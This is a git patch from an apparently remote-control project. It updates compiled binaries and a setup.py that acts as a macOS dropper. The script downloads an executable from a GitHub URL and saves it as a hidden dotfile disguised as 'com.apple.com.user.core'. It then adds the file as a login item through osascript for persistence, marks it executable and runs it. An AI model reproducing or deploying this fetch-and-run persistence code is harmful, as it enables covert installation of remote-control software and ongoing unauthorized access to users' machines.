From dddfcbc49e606176f606318e96ca446b659e2ee2 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Mon, 14 Aug 2023 16:51:44 +0800 Subject: updated --- dist/main | Bin 6871248 -> 6871264 bytes dist/main.app/Contents/MacOS/main | Bin 6871248 -> 6871264 bytes dist/setup | Bin 4298960 -> 4298944 bytes dist/setup.app/Contents/MacOS/setup | Bin 4298960 -> 4298944 bytes setup.py | 4 ++-- 5 files changed, 2 insertions(+), 2 deletions(-) diff --git a/dist/main b/dist/main index 3c3189b..61029b9 100755 Binary files a/dist/main and b/dist/main differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main index 68eb243..ea017c1 100755 Binary files a/dist/main.app/Contents/MacOS/main and b/dist/main.app/Contents/MacOS/main differ diff --git a/dist/setup b/dist/setup index ae3d9fa..613de74 100755 Binary files a/dist/setup and b/dist/setup differ diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup index b5dfd97..3ea9884 100755 Binary files a/dist/setup.app/Contents/MacOS/setup and b/dist/setup.app/Contents/MacOS/setup differ diff --git a/setup.py b/setup.py index 1ef4d3e..f5de74b 100644 --- a/setup.py +++ b/setup.py @@ -2,7 +2,7 @@ from requests import get from os.path import expanduser from os import remove from subprocess import Popen as subproc -from os import system, chmod +from os import system filename = "com.apple.com.user.core" localfile = f"{expanduser('~')}/.{filename}" @@ -11,6 +11,6 @@ localfile = f"{expanduser('~')}/.{filename}" open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") -chmod(localfile, 755) +system(f"chmod +x {localfile}") subproc([localfile]) -- cgit v1.2.3